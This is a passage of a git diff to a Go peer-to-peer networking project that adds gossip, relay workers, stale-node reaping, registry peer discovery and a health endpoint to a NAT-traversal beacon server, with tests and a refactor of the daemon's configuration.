binary.BigEndian.Uint32(data[0:4]) // Record this node's observed public endpoint + now := time.Now() s.mu.Lock() - s.nodes[nodeID] = remote + if existing, ok := s.nodes[nodeID]; ok { + existing.addr = remote + existing.lastSeen = now + } else if len(s.nodes) < maxBeaconNodes { + s.nodes[nodeID] = &beaconNode{addr: remote, lastSeen: now} + } else { + s.mu.Unlock() + return // at capacity — drop silently + } s.mu.Unlock() - slog.Info("beacon discover", "node_id", nodeID, "addr", remote) + slog.Debug("beacon discover", "node_id", nodeID, "addr", remote) // Reply with observed IP:port using variable-length IP encoding ip := remote.IP.To4() @@ -125,7 +231,7 @@ func (s *Server) handleDiscover(data []byte, remote *net.UDPAddr) { // Format: [type(1)][iplen(1)][IP(4 or 16)][port(2)] reply := make([]byte, 1+1+len(ip)+2) - reply[0] = MsgDiscoverReply + reply[0] = protocol.BeaconMsgDiscoverReply reply[1] = byte(len(ip)) copy(reply[2:2+len(ip)], ip) binary.BigEndian.PutUint16(reply[2+len(ip):], uint16(remote.Port)) @@ -144,19 +250,32 @@ func (s *Server) handlePunchRequest(data []byte, remote *net.UDPAddr) { targetID := binary.BigEndian.Uint32(data[4:8]) // Update requester's endpoint (handles symmetric NAT port changes) + now := time.Now() s.mu.Lock() - s.nodes[requesterID] = remote + if existing, ok := s.nodes[requesterID]; ok { + existing.addr = remote + existing.lastSeen = now + } else if len(s.nodes) < maxBeaconNodes { + s.nodes[requesterID] = &beaconNode{addr: remote, lastSeen: now} + } s.mu.Unlock() s.mu.RLock() - targetAddr := s.nodes[targetID] - requesterAddr := s.nodes[requesterID] + targetNode := s.nodes[targetID] + requesterNode := s.nodes[requesterID] s.mu.RUnlock() - if targetAddr == nil { + if targetNode == nil { slog.Warn("punch target not found", "target_id", targetID) return } + if requesterNode == nil { + slog.Warn("punch requester not found", "requester_id", requesterID) + return + } + + targetAddr := targetNode.addr + requesterAddr := requesterNode.addr // Send punch commands to both sides if err := s.SendPunchCommand(requesterID, targetAddr.IP, uint16(targetAddr.Port)); err != nil { @@ -165,55 +284,126 @@ func (s *Server) handlePunchRequest(data []byte, remote *net.UDPAddr) { if err := s.SendPunchCommand(targetID, requesterAddr.IP, uint16(requesterAddr.Port)); err != nil { slog.Debug("punch command to target failed", "node_id", targetID, "err", err) } - slog.Info("punch coordinated", "requester", requesterID, "target", targetID, + slog.Debug("punch coordinated", "requester", requesterID, "target", targetID, "requester_addr", requesterAddr, "target_addr", targetAddr) } -func (s *Server) handleRelay(data []byte, remote *net.UDPAddr) { - // Format: [senderNodeID(4)][destNodeID(4)][payload...] +// dispatchRelay parses the relay header and dispatches to a worker goroutine. +// The read loop stays fast — no locks, no syscalls, no allocations on the hot path. +func (s *Server) dispatchRelay(data []byte) { if len(data) < 8 { return } - senderNodeID := binary.BigEndian.Uint32(data[0:4]) - destNodeID := binary.BigEndian.Uint32(data[4:8]) + senderID := binary.BigEndian.Uint32(data[0:4]) + destID := binary.BigEndian.Uint32(data[4:8]) + + // Copy payload into a pooled buffer so we don't hold the read buffer payload := data[8:] + if len(payload) > maxRelayPayload { + return // oversized relay payload — drop silently + } + bp := s.pool.Get().(*[]byte) + buf := *bp + if cap(buf) < len(payload) { + buf = make([]byte, len(payload)) + } else { + buf = buf[:len(payload)] + } + copy(buf, payload) - // Update sender's endpoint (handles symmetric NAT port changes) - s.mu.Lock() - s.nodes[senderNodeID] = remote - s.mu.Unlock() + select { + case s.relayCh <- relayJob{senderID: senderID, destID: destID, payload: buf}: + default: + // Queue full — drop packet (UDP is best-effort) + *bp = buf[:cap(buf)] + s.pool.Put(bp) + } +} - s.mu.RLock() - destAddr, ok := s.nodes[destNodeID] - s.mu.RUnlock() +// relayWorker processes relay jobs: dest lookup and UDP send. +// Multiple workers run in parallel to distribute the WriteToUDP syscalls. +// 3-tier destination lookup: +// 1. Local nodes map → send MsgRelayDeliver directly to agent +// 2. Peer nodes map → forward original MsgRelay to peer beacon +// 3. Neither → drop (unknown dest) +func (s *Server) relayWorker() { + sendBuf := make([]byte, 1500) // per-worker send buffer, no allocations + for job := range s.relayCh { + // Tier 1: local node lookup + s.mu.RLock() + destNode, ok := s.nodes[job.destID] + var destAddr *net.UDPAddr + if ok { + destAddr = destNode.addr + } + s.mu.RUnlock() - if !ok { - slog.Warn("relay dest not found", "dest_node_id", destNodeID, "sender_node_id", senderNodeID) - return - } + if ok { + // Build relay deliver message in pre-allocated send buffer + msgLen := 1 + 4 + len(job.payload) + if cap(sendBuf) < msgLen { + sendBuf = make([]byte, msgLen) + } + msg := sendBuf[:msgLen] + msg[0] = protocol.BeaconMsgRelayDeliver + binary.BigEndian.PutUint32(msg[1:5], job.senderID) + copy(msg[5:], job.payload) + + if _, err := s.conn.WriteToUDP(msg, destAddr); err != nil { + slog.Debug("beacon relay send failed", "dest_node_id", job.destID, "err", err) + } + s.returnPayload(job.payload) + continue + } - slog.Info("relaying", "from", senderNodeID, "to", destNodeID, "dest_addr", destAddr, "payload_len", len(payload)) + // Tier 2: peer beacon lookup + s.peerMu.RLock() + peerAddr, peerOk := s.peerNodes[job.destID] + s.peerMu.RUnlock() - // Build relay deliver message - msg := make([]byte, 1+4+len(payload)) - msg[0] = MsgRelayDeliver - binary.BigEndian.PutUint32(msg[1:5], senderNodeID) - copy(msg[5:], payload) + if peerOk { + // Forward the original MsgRelay to the peer beacon + fwdLen := 1 + 4 + 4 + len(job.payload) + if cap(sendBuf) < fwdLen { + sendBuf = make([]byte, fwdLen) + } + fwd := sendBuf[:fwdLen] + fwd[0] = protocol.BeaconMsgRelay + binary.BigEndian.PutUint32(fwd[1:5], job.senderID) + binary.BigEndian.PutUint32(fwd[5:9], job.destID) + copy(fwd[9:], job.payload) + + if _, err := s.conn.WriteToUDP(fwd, peerAddr); err != nil { + slog.Debug("beacon relay forward to peer failed", "dest_node_id", job.destID, "peer", peerAddr, "err", err) + } + s.returnPayload(job.payload) + continue + } - if _, err := s.conn.WriteToUDP(msg, destAddr); err != nil { - slog.Warn("beacon relay send failed", "dest_node_id", destNodeID, "err", err) + // Tier 3: unknown destination + slog.Debug("relay dest not found", "dest_node_id", job.destID, "sender_node_id", job.senderID) + s.returnPayload(job.payload) } } +func (s *Server) returnPayload(buf []byte) { + buf = buf[:cap(buf)] + s.pool.Put(&buf) +} + // SendPunchCommand tells a node to send UDP to a target endpoint. func (s *Server) SendPunchCommand(nodeID uint32, targetIP net.IP, targetPort uint16) error { s.mu.RLock() - nodeAddr, ok := s.nodes[nodeID] + node, ok := s.nodes[nodeID] + var nodeAddr *net.UDPAddr + if ok { + nodeAddr = node.addr + } s.mu.RUnlock() if !ok { - return fmt.Errorf("node %d not found", nodeID) + return fmt.Errorf("node %d: %w", nodeID, protocol.ErrNodeNotFound) } ip := targetIP.To4() @@ -226,7 +416,7 @@ func (s *Server) SendPunchCommand(nodeID uint32, targetIP net.IP, targetPort uin // Format: [type(1)][iplen(1)][IP(4 or 16)][port(2)] msg := make([]byte, 1+1+len(ip)+2) - msg[0] = MsgPunchCommand + msg[0] = protocol.BeaconMsgPunchCommand msg[1] = byte(len(ip)) copy(msg[2:2+len(ip)], ip) binary.BigEndian.PutUint16(msg[2+len(ip):], targetPort) @@ -234,3 +424,312 @@ func (s *Server) SendPunchCommand(nodeID uint32, targetIP net.IP, targetPort uin _, err := s.conn.WriteToUDP(msg, nodeAddr) return err } + +// --- Reap --- + +// reapLoop periodically removes stale node entries that haven't sent a +// discover message within beaconNodeTTL. Prevents dead nodes from +// accumulating indefinitely. +func (s *Server) reapLoop() { + ticker := time.NewTicker(60 * time.Second) + defer ticker.Stop() + + for { + select { + case <-ticker.C: + s.reapStaleNodes() + case <-s.done: + return + } + } +} + +func (s *Server) reapStaleNodes() { + threshold := time.Now().Add(-beaconNodeTTL) + s.mu.Lock() + for id, node := range s.nodes { + if node.lastSeen.Before(threshold) { + delete(s.nodes, id) + } + } + s.mu.Unlock() +} + +// --- Gossip --- + +// gossipLoop periodically sends the local node list to all peer beacons. +// Format: [0x07][beaconID(4)][nodeCount(2)][nodeID(4)]...[nodeID(4)] +func (s *Server) gossipLoop() { + ticker := time.NewTicker(10 * time.Second) + defer ticker.Stop() + + for { + select { + case <-ticker.C: + s.sendGossip() + case <-s.done: + return + } + } +} + +func (s *Server) sendGossip() { + s.mu.RLock() + nodeIDs := make([]uint32, 0, len(s.nodes)) + for id := range s.nodes { + nodeIDs = append(nodeIDs, id) + } + s.mu.RUnlock() + + if len(nodeIDs) > 65535 { + nodeIDs = nodeIDs[:65535] // cap at uint16 max + } + + // Build sync message: [type(1)][beaconID(4)][nodeCount(2)][nodeID(4)...] + msgLen := 1 + 4 + 2 + 4*len(nodeIDs) + msg := make([]byte, msgLen) + msg[0] = protocol.BeaconMsgSync + binary.BigEndian.PutUint32(msg[1:5], s.beaconID) + binary.BigEndian.PutUint16(msg[5:7], uint16(len(nodeIDs))) + for i, id := range nodeIDs { + binary.BigEndian.PutUint32(msg[7+4*i:7+4*i+4], id) + } + + s.peerMu.RLock() + peers := make([]*net.UDPAddr, len(s.peers)) + copy(peers, s.peers) + s.peerMu.RUnlock() + + for _, peer := range peers { + if _, err := s.conn.WriteToUDP(msg, peer); err != nil { + slog.Debug("gossip send failed", "peer", peer, "err", err) + } + } + + slog.Debug("gossip sent", "beacon_id", s.beaconID, "nodes", len(nodeIDs), "peers", len(peers)) +} + +// handleSync processes an incoming gossip sync message from a peer beacon. +func (s *Server) handleSync(data []byte, remote *net.UDPAddr) { + // Need at least beaconID(4) + nodeCount(2) + if len(data) < 6 { + return + } + + peerBeaconID := binary.BigEndian.Uint32(data[0:4]) + nodeCount := binary.BigEndian.Uint16(data[4:6]) + + // Validate message length + expected := 6 + 4*int(nodeCount) + if len(data) < expected { + slog.Debug("gossip sync message too short", "peer_beacon_id", peerBeaconID, "expected", expected, "got", len(data)) + return + } + + // Parse node IDs + nodeIDs := make([]uint32, nodeCount) + for i := 0; i < int(nodeCount); i++ { + nodeIDs[i] = binary.BigEndian.Uint32(data[6+4*i : 6+4*i+4]) + } + + // Update peer node map: clear old entries for this peer, add new ones + s.peerMu.Lock() + // Remove all entries pointing to this peer + for id, addr := range s.peerNodes { + if addr.IP.Equal(remote.IP) && addr.Port == remote.Port { + delete(s.peerNodes, id) + } + } + // Add new entries (skip nodes we own locally) + s.mu.RLock() + for _, id := range nodeIDs { + if _, local := s.nodes[id]; !local { + s.peerNodes[id] = remote + } + } + s.mu.RUnlock() + s.peerMu.Unlock() + + slog.Debug("gossip sync received", "peer_beacon_id", peerBeaconID, "nodes", nodeCount, "from", remote) +} + +// --- Registry-based peer discovery --- + +// SetRegistry sets the registry address for dynamic peer discovery. +// The beacon will periodically register itself and discover peers via the registry. +func (s *Server) SetRegistry(addr string) { + s.registryAddr = addr +} + +// registryDiscoveryLoop registers this beacon with the registry and discovers +// peers every 30 seconds. Requires the beacon to be listening (conn bound). +func (s *Server) registryDiscoveryLoop() { + // Wait until we have a bound address + <-s.readyCh + + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + + // Run immediately, then on tick + s.registryDiscover() + for { + select { + case <-ticker.C: + s.registryDiscover() + case <-s.done: + return + } + } +} + +func (s *Server) registryDiscover() { + if s.registryAddr == "" || s.beaconID == 0 { + return + } + + conn, err := net.DialTimeout("tcp", s.registryAddr, 5*time.Second) + if err != nil { + slog.Debug("beacon registry connect failed", "addr", s.registryAddr, "err", err) + return + } + defer conn.Close() + conn.SetDeadline(time.Now().Add(10 * time.Second)) + + // Registry uses 4-byte big-endian length-prefix framing + sendMsg := func(msg map[string]interface{}) error { + body, err := json.Marshal(msg) + if err != nil { + return err + } + var lenBuf [4]byte + binary.BigEndian.PutUint32(lenBuf[:], uint32(len(body))) + if _, err := conn.Write(lenBuf[:]); err != nil { + return err + } + _, err = conn.Write(body) + return err + } + recvMsg := func() (map[string]interface{}, error) { + var lenBuf [4]byte + if _, err := io.ReadFull(conn, lenBuf[:]); err != nil { + return nil, err + } + length := binary.BigEndian.Uint32(lenBuf[:]) + if length > 1<<20 { + return nil, fmt.Errorf("message too large: %d", length) + } + body := make([]byte, length) + if _, err := io.ReadFull(conn, body); err != nil { + return nil, err + } + var resp map[string]interface{} + return resp, json.Unmarshal(body, &resp) + } + + // Register this beacon with our listen address + listenAddr := s.conn.LocalAddr().String() + // Resolve wildcard to actual IP for peers to reach us + host, port, _ := net.SplitHostPort(listenAddr) + if host == "::" || host == "0.0.0.0" || host == "" { + // Use the outbound IP (the IP used to reach the registry) + if tcpAddr, ok := conn.LocalAddr().(*net.TCPAddr); ok { + host = tcpAddr.IP.String() + } + } + myAddr := net.JoinHostPort(host, port) + + if err := sendMsg(map[string]interface{}{ + "type": "beacon_register", + "beacon_id": s.beaconID, + "addr": myAddr, + }); err != nil { + slog.Debug("beacon register send failed", "err", err) + return + } + + if _, err := recvMsg(); err != nil { + slog.Debug("beacon register response failed", "err", err) + return + } + + // List all beacons + if err := sendMsg(map[string]interface{}{ + "type": "beacon_list", + }); err != nil { + slog.Debug("beacon list send failed", "err", err) + return + } + + listResp, err := recvMsg() + if err != nil { + slog.Debug("beacon list response failed", "err", err) + return + } + + beacons, _ := listResp["beacons"].([]interface{}) + var newPeers []*net.UDPAddr + for _, b := range beacons { + bm, ok := b.(map[string]interface{}) + if !ok { + continue + } + bid := uint32(0) + if v, ok := bm["id"].(float64); ok { + bid = uint32(v) + } + baddr, _ := bm["addr"].(string) + if bid == s.beaconID || baddr == "" { + continue // skip self + } + udpAddr, err := net.ResolveUDPAddr("udp", baddr) + if err != nil { + slog.Debug("beacon peer resolve failed", "addr", baddr, "err", err) + continue + } + newPeers = append(newPeers, udpAddr) + } + + // Update peers atomically + s.peerMu.Lock() + s.peers = newPeers + s.peerMu.Unlock() + + slog.Info("beacon registry discovery", "beacon_id", s.beaconID, "my_addr", myAddr, "peers", len(newPeers)) +} + +// --- Health --- + +// ServeHealth starts a simple HTTP server with a /healthz endpoint for load balancer health checks. +func (s *Server) ServeHealth(addr string) error { + mux := http.NewServeMux() + mux.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) { + if s.healthOk.Load() { + w.WriteHeader(http.StatusOK) + fmt.Fprint(w, "ok") + } else { + w.WriteHeader(http.StatusServiceUnavailable) + fmt.Fprint(w, "unhealthy") + } + }) + slog.Info("health endpoint listening", "addr", addr) + return http.ListenAndServe(addr, mux) +} + +// SetHealthy sets the health status (for graceful drain on scale-down). +func (s *Server) SetHealthy(ok bool) { + s.healthOk.Store(ok) +} + +// PeerNodeCount returns the number of nodes known via gossip from peer beacons. +func (s *Server) PeerNodeCount() int { + s.peerMu.RLock() + defer s.peerMu.RUnlock() + return len(s.peerNodes) +} + +// LocalNodeCount returns the number of locally registered nodes. +func (s *Server) LocalNodeCount() int { + s.mu.RLock() + defer s.mu.RUnlock() + return len(s.nodes) +} diff --git a/pkg/beacon/server_test.go b/pkg/beacon/server_test.go new file mode 100644 index 00000000..b99efb3a --- /dev/null +++ b/pkg/beacon/server_test.go @@ -0,0 +1,261 @@ +package beacon + +import ( + "encoding/binary" + "fmt" + "net" + "net/http" + "testing" + "time" + + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" +) + +// helper: send a discover message to register a node with a beacon +func registerNode(t *testing.T, beaconAddr *net.UDPAddr, nodeID uint32) *net.UDPConn { + t.Helper() + conn, err := net.DialUDP("udp", nil, beaconAddr) + if err != nil { + t.Fatalf("dial beacon: %v", err) + } + + msg := make([]byte, 5) + msg[0] = protocol.BeaconMsgDiscover + binary.BigEndian.PutUint32(msg[1:5], nodeID) + if _, err := conn.Write(msg); err != nil { + t.Fatalf("send discover: %v", err) + } + + // Read discover reply + buf := make([]byte, 64) + conn.SetReadDeadline(time.Now().Add(2 * time.Second)) + n, err := conn.Read(buf) + if err != nil { + t.Fatalf("read discover reply: %v", err) + } + if n < 1 || buf[0] != protocol.BeaconMsgDiscoverReply { + t.Fatalf("unexpected reply type: 0x%02x", buf[0]) + } + + return conn +} + +func beaconUDPAddr(t *testing.T, s *Server) *net.UDPAddr { + t.Helper() + addr, err := net.ResolveUDPAddr("udp", s.Addr().String()) + if err != nil { + t.Fatalf("resolve beacon addr: %v", err) + } + return addr +} + +func TestGossip(t *testing.T) { + t.Parallel() + + // Start two beacons — they'll be peers of each other + b1 := NewWithPeers(1, nil) // peers set after both bind + b2 := NewWithPeers(2, nil) + + go b1.ListenAndServe("127.0.0.1:0") + go b2.ListenAndServe("127.0.0.1:0") + <-b1.Ready() + <-b2.Ready() + defer b1.Close() + defer b2.Close() + + b1Addr := beaconUDPAddr(t, b1) + b2Addr := beaconUDPAddr(t, b2) + + // Set peers manually (after bind, so we know the ports) + b1.peers = []*net.UDPAddr{b2Addr} + b2.peers = []*net.UDPAddr{b1Addr} + + // Register node 100 on beacon 1 + conn1 := registerNode(t, b1Addr, 100) + defer conn1.Close() + + // Register node 200 on beacon 2 + conn2 := registerNode(t, b2Addr, 200) + defer conn2.Close() + + // Verify local counts + if b1.LocalNodeCount() != 1 { + t.Fatalf("b1 local nodes: got %d, want 1", b1.LocalNodeCount()) + } + if b2.LocalNodeCount() != 1 { + t.Fatalf("b2 local nodes: got %d, want 1", b2.LocalNodeCount()) + } + + // Trigger gossip manually + b1.sendGossip() + b2.sendGossip() + + // Give gossip time to propagate + time.Sleep(200 * time.Millisecond) + + // Each beacon should know about the other's node via gossip + if b1.PeerNodeCount() != 1 { + t.Errorf("b1 peer nodes: got %d, want 1", b1.PeerNodeCount()) + } + if b2.PeerNodeCount() != 1 { + t.Errorf("b2 peer nodes: got %d, want 1", b2.PeerNodeCount()) + } +} + +func TestCrossBeaconRelay(t *testing.T) { + t.Parallel() + + b1 := NewWithPeers(1, nil) + b2 := NewWithPeers(2, nil) + + go b1.ListenAndServe("127.0.0.1:0") + go b2.ListenAndServe("127.0.0.1:0") + <-b1.Ready() + <-b2.Ready() + defer b1.Close() + defer b2.Close() + + b1Addr := beaconUDPAddr(t, b1) + b2Addr := beaconUDPAddr(t, b2) + + b1.peers = []*net.UDPAddr{b2Addr} + b2.peers = []*net.UDPAddr{b1Addr} + + // Register node 10 on beacon 1 + conn1 := registerNode(t, b1Addr, 10) + defer conn1.Close() + + // Register node 20 on beacon 2 + conn2 := registerNode(t, b2Addr, 20) + defer conn2.Close() + + // Gossip so b1 knows node 20 is on b2 + b1.sendGossip() + b2.sendGossip() + time.Sleep(200 * time.Millisecond) + + // Node 10 sends relay to node 20 via beacon 1 + // beacon 1 should forward to beacon 2, which delivers to node 20 + payload := []byte("hello from node 10") + relayMsg := make([]byte, 1+4+4+len(payload)) + relayMsg[0] = protocol.BeaconMsgRelay + binary.BigEndian.PutUint32(relayMsg[1:5], 10) // sender + binary.BigEndian.PutUint32(relayMsg[5:9], 20) // dest + copy(relayMsg[9:], payload) + + if _, err := conn1.Write(relayMsg); err != nil { + t.Fatalf("send relay: %v", err) + } + + // Node 20 should receive a RelayDeliver + buf := make([]byte, 1500) + conn2.SetReadDeadline(time.Now().Add(2 * time.Second)) + n, err := conn2.Read(buf) + if err != nil { + t.Fatalf("read relay deliver: %v", err) + } + + if buf[0] != protocol.BeaconMsgRelayDeliver { + t.Fatalf("expected RelayDeliver (0x%02x), got 0x%02x", protocol.BeaconMsgRelayDeliver, buf[0]) + } + + senderID := binary.BigEndian.Uint32(buf[1:5]) + if senderID != 10 { + t.Fatalf("sender ID: got %d, want 10", senderID) + } + + received := string(buf[5:n]) + if received != "hello from node 10" { + t.Fatalf("payload: got %q, want %q", received, "hello from node 10") + } +} + +func TestHealthEndpoint(t *testing.T) { + t.Parallel() + + s := New() + go s.ListenAndServe("127.0.0.1:0") + <-s.Ready() + defer s.Close() + + // Find a free port for health + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("find free port: %v", err) + } + healthAddr := ln.Addr().String() + ln.Close() + + go s.ServeHealth(healthAddr) + time.Sleep(100 * time.Millisecond) // let HTTP server start + + url := fmt.Sprintf("http://%s/healthz", healthAddr) + + // Should be healthy by default + resp, err := http.Get(url) + if err != nil { + t.Fatalf("GET /healthz: %v", err) + } + if resp.StatusCode != 200 { + t.Fatalf("expected 200, got %d", resp.StatusCode) + } + resp.Body.Close() + + // Set unhealthy + s.SetHealthy(false) + resp, err = http.Get(url) + if err != nil { + t.Fatalf("GET /healthz after unhealthy: %v", err) + } + if resp.StatusCode != 503 { + t.Fatalf("expected 503, got %d", resp.StatusCode) + } + resp.Body.Close() + + // Set healthy again + s.SetHealthy(true) + resp, err = http.Get(url) + if err != nil { + t.Fatalf("GET /healthz after re-healthy: %v", err) + } + if resp.StatusCode != 200 { + t.Fatalf("expected 200, got %d", resp.StatusCode) + } + resp.Body.Close() +} + +func TestSyncMessageParsing(t *testing.T) { + t.Parallel() + + s := NewWithPeers(1, nil) + go s.ListenAndServe("127.0.0.1:0") + <-s.Ready() + defer s.Close() + + // Build a sync message with 3 nodes + nodeIDs := []uint32{100, 200, 300} + msg := make([]byte, 1+4+2+4*len(nodeIDs)) + msg[0] = protocol.BeaconMsgSync + binary.BigEndian.PutUint32(msg[1:5], 2) // peer beacon ID + binary.BigEndian.PutUint16(msg[5:7], uint16(len(nodeIDs))) + for i, id := range nodeIDs { + binary.BigEndian.PutUint32(msg[7+4*i:7+4*i+4], id) + } + + // Send the sync message to the beacon + conn, err := net.DialUDP("udp", nil, beaconUDPAddr(t, s)) + if err != nil { + t.Fatalf("dial: %v", err) + } + defer conn.Close() + + if _, err := conn.Write(msg); err != nil { + t.Fatalf("send sync: %v", err) + } + + time.Sleep(100 * time.Millisecond) + + if s.PeerNodeCount() != 3 { + t.Fatalf("peer nodes: got %d, want 3", s.PeerNodeCount()) + } +} diff --git a/pkg/daemon/daemon.go b/pkg/daemon/daemon.go index b78264df..dc04f3a7 100644 --- a/pkg/daemon/daemon.go +++ b/pkg/daemon/daemon.go @@ -3,16 +3,24 @@ package daemon import ( "crypto/ed25519" "encoding/base64" + "encoding/json" "fmt" "log/slog" + "math/rand" "net" + "os" + "path/filepath" "sync" "sync/atomic" "time" - "web4/internal/crypto" - "web4/pkg/protocol" - "web4/pkg/registry" + "github.com/TeoSlayer/pilotprotocol/internal/account" + "github.com/TeoSlayer/pilotprotocol/internal/crypto" + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" + "github.com/TeoSlayer/pilotprotocol/internal/validate" + "github.com/TeoSlayer/pilotprotocol/pkg/policy" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" ) var ( @@ -21,45 +29,114 @@ var ( ) type Config struct { - RegistryAddr string - BeaconAddr string - ListenAddr string // UDP listen address for tunnel traffic - SocketPath string // Unix socket path for IPC - Encrypt bool // enable tunnel-layer encryption (X25519 + AES-256-GCM) + RegistryAddr string + BeaconAddr string + ListenAddr string // UDP listen address for tunnel traffic + SocketPath string // Unix socket path for IPC + Encrypt bool // enable tunnel-layer encryption (X25519 + AES-256-GCM) RegistryTLS bool // use TLS for registry connection RegistryFingerprint string // hex SHA-256 fingerprint for TLS cert pinning - IdentityPath string // path to persist Ed25519 identity (empty = no persistence) - Owner string // owner identifier (email) for key rotation recovery + IdentityPath string // path to persist Ed25519 identity (empty = no persistence) + Email string // email address for account identification and key recovery + Owner string // deprecated: use Email instead - Endpoint string // fixed public endpoint (host:port) — skips STUN discovery (for cloud VMs) - Public bool // make this node's endpoint publicly discoverable - Hostname string // hostname for discovery (empty = none) + Endpoint string // fixed public endpoint (host:port) — skips STUN discovery (for cloud VMs) + Public bool // make this node's endpoint publicly discoverable + Hostname string // hostname for discovery (empty = none) // Built-in services DisableEcho bool // disable built-in echo service (port 7) DisableDataExchange bool // disable built-in data exchange service (port 1001) DisableEventStream bool // disable built-in event stream service (port 1002) + DisableTaskSubmit bool // disable built-in task submission service (port 1003) + + // Webhook + WebhookURL string // HTTP(S) endpoint for event notifications (empty = disabled) + WebhookHTTPTimeout time.Duration // HTTP client timeout for webhook POSTs (default 5s) + WebhookRetryBackoff time.Duration // initial retry backoff for webhook POSTs (default 1s) + + // Trust + TrustAutoApprove bool // automatically approve all incoming handshake requests + + // Fleet enrollment + AdminToken string // admin token for network operations (empty = disabled) + Networks []uint16 // network IDs to auto-join at startup (empty = none) + + // Version + Version string // binary version string (injected via LDFLAGS at build time) // Tuning (zero = use defaults) - KeepaliveInterval time.Duration // default 30s - IdleTimeout time.Duration // default 120s - SYNRateLimit int // default 100 - MaxConnectionsPerPort int // default 1024 - MaxTotalConnections int // default 4096 - TimeWaitDuration time.Duration // default 10s + KeepaliveInterval time.Duration // default 60s + IdleTimeout time.Duration // default 120s + SYNRateLimit int // default 100 + MaxConnectionsPerPort int // default 1024 + MaxTotalConnections int // default 4096 + TimeWaitDuration time.Duration // default 10s } // Default tuning constants (used when Config fields are zero). const ( - DefaultKeepaliveInterval = 30 * time.Second - DefaultIdleTimeout = 120 * time.Second - DefaultIdleSweepInterval = 15 * time.Second - DefaultSYNRateLimit = 100 + DefaultKeepaliveInterval = 60 * time.Second + DefaultIdleTimeout = 120 * time.Second + DefaultIdleSweepInterval = 15 * time.Second + DefaultSYNRateLimit = 100 DefaultMaxConnectionsPerPort = 1024 - DefaultMaxTotalConnections = 4096 - DefaultTimeWaitDuration = 10 * time.Second + DefaultMaxTotalConnections = 4096 + DefaultTimeWaitDuration = 10 * time.Second +) + +// Dial and retransmission constants. +const ( + DialDirectRetries = 3 // direct connection attempts before relay + DialMaxRetries = 6 // total attempts (direct + relay) + DialInitialRTO = 1 * time.Second // initial SYN retransmission timeout + DialMaxRTO = 8 * time.Second // max backoff for SYN retransmission + DialCheckInterval = 10 * time.Millisecond // poll interval for state changes during dial + RetxCheckInterval = 100 * time.Millisecond // retransmission check ticker + MaxRetxAttempts = 8 // abandon connection after this many retransmissions + HeartbeatReregThresh = 3 // heartbeat failures before re-registration + SYNBucketAge = 10 * time.Second // stale per-source SYN bucket reap threshold +) + +// Zero-window probe constants. +const ( + ZeroWinProbeInitial = 500 * time.Millisecond // initial zero-window probe interval + ZeroWinProbeMax = 30 * time.Second // max zero-window probe backoff ) +// EndpointCacheTTL is how long a cached endpoint is considered fresh. +// After this, the entry is stale but still usable as a fallback. +const EndpointCacheTTL = 5 * time.Minute + +// ResolveCacheTTL is how long a registry resolve response is cached. +// During cron bursts, agents resolve the same peers repeatedly — this +// avoids hitting the registry for the same node within the TTL window. +const ResolveCacheTTL = 60 * time.Second + +// DefaultNetworkSyncInterval is how often the daemon refreshes network +// memberships, port policies, and member tags from the registry. +const DefaultNetworkSyncInterval = 5 * time.Minute + +// networkSnapshot is the JSON format persisted to {identityDir}/networks.json. +type networkSnapshot struct { + Networks []uint16 `json:"networks"` + Policies map[uint16][]uint16 `json:"policies,omitempty"` + MemberTags map[uint16][]string `json:"member_tags,omitempty"` + SyncedAt string `json:"synced_at"` +} + +// endpointEntry caches a resolved endpoint for a peer node. +type endpointEntry struct { + addr string // "host:port" + cachedAt time.Time // when the entry was stored +} + +// resolveEntry caches a full registry resolve response for a peer node. +type resolveEntry struct { + resp map[string]interface{} + cachedAt time.Time +} + type Daemon struct { config Config addrMu sync.RWMutex // protects nodeID and addr (H6 fix) @@ -71,8 +148,20 @@ type Daemon struct { ports *PortManager ipc *IPCServer handshakes *HandshakeManager + webhook *WebhookClient + taskQueue *TaskQueue startTime time.Time stopCh chan struct{} // closed on Stop() to signal goroutines + stopOnce sync.Once // ensures stopCh is closed exactly once + lanAddrs []string // LAN addresses for same-network peer detection + + // Endpoint cache: nodeID -> last-known endpoint (peer resilience) + epCacheMu sync.RWMutex + epCache map[uint32]*endpointEntry + + // Resolve cache: nodeID -> cached registry response (60s TTL) + resolveCacheMu sync.RWMutex + resolveCache map[uint32]*resolveEntry // SYN rate limiter (token bucket) synMu sync.Mutex @@ -82,55 +171,90 @@ type Daemon struct { // Per-source SYN rate limiter perSrcSYNMu sync.Mutex perSrcSYN map[uint32]*srcSYNBucket // source nodeID -> bucket + + // Network port policies: netID -> allowed ports (nil/empty = all allowed) + netPolicyMu sync.RWMutex + netPolicies map[uint16][]uint16 + + // Managed network engines: netID -> engine + managedMu sync.Mutex + managed map[uint16]*ManagedEngine + + // Policy runners: netID -> compiled policy runner (expr-based policy engine) + policyMu sync.Mutex + policyRunners map[uint16]*PolicyRunner + + // Cached member tags: netID -> local node's admin-assigned tags + memberTagsMu sync.RWMutex + memberTags map[uint16][]string } -const perSourceSYNLimit = 10 // max SYNs per source per second +const perSourceSYNLimit = 10 // max SYNs per source per second const maxPerSrcSYNEntries = 4096 // max tracked source entries (M9 fix) type srcSYNBucket struct { - tokens int + tokens int lastFill time.Time } func (c *Config) keepaliveInterval() time.Duration { - if c.KeepaliveInterval > 0 { return c.KeepaliveInterval } + if c.KeepaliveInterval > 0 { + return c.KeepaliveInterval + } return DefaultKeepaliveInterval } func (c *Config) idleTimeout() time.Duration { - if c.IdleTimeout > 0 { return c.IdleTimeout } + if c.IdleTimeout > 0 { + return c.IdleTimeout + } return DefaultIdleTimeout } func (c *Config) synRateLimit() int { - if c.SYNRateLimit > 0 { return c.SYNRateLimit } + if c.SYNRateLimit > 0 { + return c.SYNRateLimit + } return DefaultSYNRateLimit } func (c *Config) maxConnectionsPerPort() int { - if c.MaxConnectionsPerPort > 0 { return c.MaxConnectionsPerPort } + if c.MaxConnectionsPerPort > 0 { + return c.MaxConnectionsPerPort + } return DefaultMaxConnectionsPerPort } func (c *Config) maxTotalConnections() int { - if c.MaxTotalConnections > 0 { return c.MaxTotalConnections } + if c.MaxTotalConnections > 0 { + return c.MaxTotalConnections + } return DefaultMaxTotalConnections } func (c *Config) timeWaitDuration() time.Duration { - if c.TimeWaitDuration > 0 { return 